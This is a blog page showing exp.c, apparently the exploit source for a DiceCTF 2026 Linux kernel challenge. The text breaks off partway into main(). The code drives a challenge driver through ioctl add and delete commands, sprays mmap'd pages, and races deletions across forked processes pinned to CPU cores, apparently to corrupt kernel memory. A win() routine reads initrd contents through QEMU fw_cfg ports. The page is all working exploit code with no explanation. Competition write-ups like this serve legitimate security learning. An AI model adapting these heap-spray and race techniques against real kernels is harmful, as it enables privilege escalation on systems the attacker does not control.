<!DOCTYPE html>
<html id="_top" lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><meta name="color-scheme" content="light dark"/><meta name="language" content="zh-CN"/><title>花盆 | /writeups/dicectf2026-writeup/exp.c</title><meta name="author" content="LittFlower"/><meta name="description" content="记录安全研究、开发工具和生活观察的中文博客"/><meta property="og:type" content="article"/><meta property="og:title" content="花盆 | /writeups/dicectf2026-writeup/exp.c"/><meta property="og:url" content="https://blog.littflower.top/writeups/dicectf2026-writeup/exp.c"/><meta property="og:description" content="记录安全研究、开发工具和生活观察的中文博客"/><meta property="og:site_name" content="花盆"/><meta property="og:locale" content="zh-CN"/><meta name="twitter:card" content="summary"/><meta name="twitter:title" content="花盆 | /writeups/dicectf2026-writeup/exp.c"/><meta name="twitter:description" content="记录安全研究、开发工具和生活观察的中文博客"/><link rel="canonical" href="https://blog.littflower.top/writeups/dicectf2026-writeup/exp.c"/><link rel="alternate" type="application/rss+xml" title="花盆" href="/rss.xml"/><script>(function () {
    var storageKey = "theme";
    var root = document.documentElement;
    var theme = "light";
    try {
      var stored = window.localStorage.getItem(storageKey);
      if (stored === "light" || stored === "dark") {
        theme = stored;
      } else if (
        typeof window.matchMedia === "function" &&
        window.matchMedia("(prefers-color-scheme: dark)").matches
      ) {
        theme = "dark";
      }
    } catch (_) {}
    root.setAttribute("data-theme", theme);
  })();</script><script defer src="/theme.js?v=d3b88eea84"></script><link rel="preload" as="style" href="/style.css" type="text/css"/><link rel="preload" as="style" href="/fonts.css" type="text/css"/><link rel="stylesheet" href="/style.css" type="text/css"/><link rel="stylesheet" href="/fonts.css" type="text/css"/></head><body><nav aria-label="页面导航" class="top-bar fullwidth"><div class="top-bar-inner fullwidth"><div class="top-bar-group"><a href="/" aria-label="root" class="file-link"><img src="/icons/dir.png" alt width="20" height="22" aria-hidden="true" decoding="async" loading="eager" class="icon icon--dir"/><span>/</span></a><a href=".." aria-label="parent" class="file-link"><img src="/icons/dir.png" alt width="20" height="22" aria-hidden="true" decoding="async" loading="eager" class="icon icon--dir"/><span>..</span></a></div><div class="top-bar-group"><a href="#_content" class="top-bar-link"><code class="hash inline-code">#</code>内容</a><a href="#_top" class="top-bar-link"><code class="hash inline-code">#</code>回到顶部</a><button type="button" data-theme-toggle="true" aria-pressed="false" title="切换为深色主题" class="theme-toggle"><code aria-hidden="true" class="hash inline-code">#</code>  <span data-theme-toggle-label="true" class="theme-toggle-label">浅色主题</span></button></div></div></nav><div class="page-shell"><nav aria-label="当前目录文件" class="page-files"></nav><main class="page-main"><article id="_content" style="scroll-margin-top:48px;" class="page-article"><div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c"><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">/*</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> * https://elixir.bootlin.com/linux/v6.12.69/source/include/linux/types.h#L242</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> * https://elixir.bootlin.com/linux/v6.12.69/source/kernel/rcu/tree.c#L2572</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> */</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#include</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "kernel.h"</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> MAX_LEN</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">256</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1024</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1024</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> SIZE</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAX_LEN</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> OBJECTS_PER_PAGE</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 56</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> MAXN</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 4</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> min_partial</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 5</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ADD_ENTRY</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">cafebabe</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> DEL_ENTRY</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">deadbabe</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> CHECK_ENTRY</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">beefbabe</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> fd;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> ids</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">MAXN</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">typedef</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cornelslop_user_entry </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint32_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> id;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> va_start;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> va_end;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint8_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> corrupted;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cue;</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">void</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> spary</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> size</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> size; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        void</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> mmap</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">NULL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, PAGE_SIZE, PROT_READ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PROT_WRITE, MAP_PRIVATE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_ANON </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_POPULATE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        cue ue </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            .id </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            .va_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            .va_end </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PAGE_SIZE,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            .corrupted </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ioctl</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, ADD_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ue</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">            error</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"ioctl(ADD_ENTRY) failed: </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%d\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, ret</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">            exit</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><br><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">        ids</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ue.id;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">void</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> delete</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> size</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> core</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pid </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> fork</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pid</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        bind_core</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">core</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> size; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            cue ue </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .id </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> ids</span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .va_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .va_end </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .corrupted </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">            ioctl</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, DEL_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ue</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        exit</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    waitpid</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pid, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">NULL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    usleep</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">100000</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> FW_CFG_PORT_SEL</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">     0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">510</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> FW_CFG_PORT_DATA</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">511</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> FW_CFG_INITRD_DATA</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">12</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> INITRD_SIZE</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">        1600000</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">char*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> initrd;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">char*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> stack;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">volatile</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> char*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> sem;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">void</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> win</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">	outw</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">FW_CFG_INITRD_DATA, FW_CFG_PORT_SEL</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">INITRD_SIZE; i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><br><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">		initrd</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> inb</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">FW_CFG_PORT_DATA</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">	// info("1");</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    *</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">sem </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	while</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> main</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">void</span><span 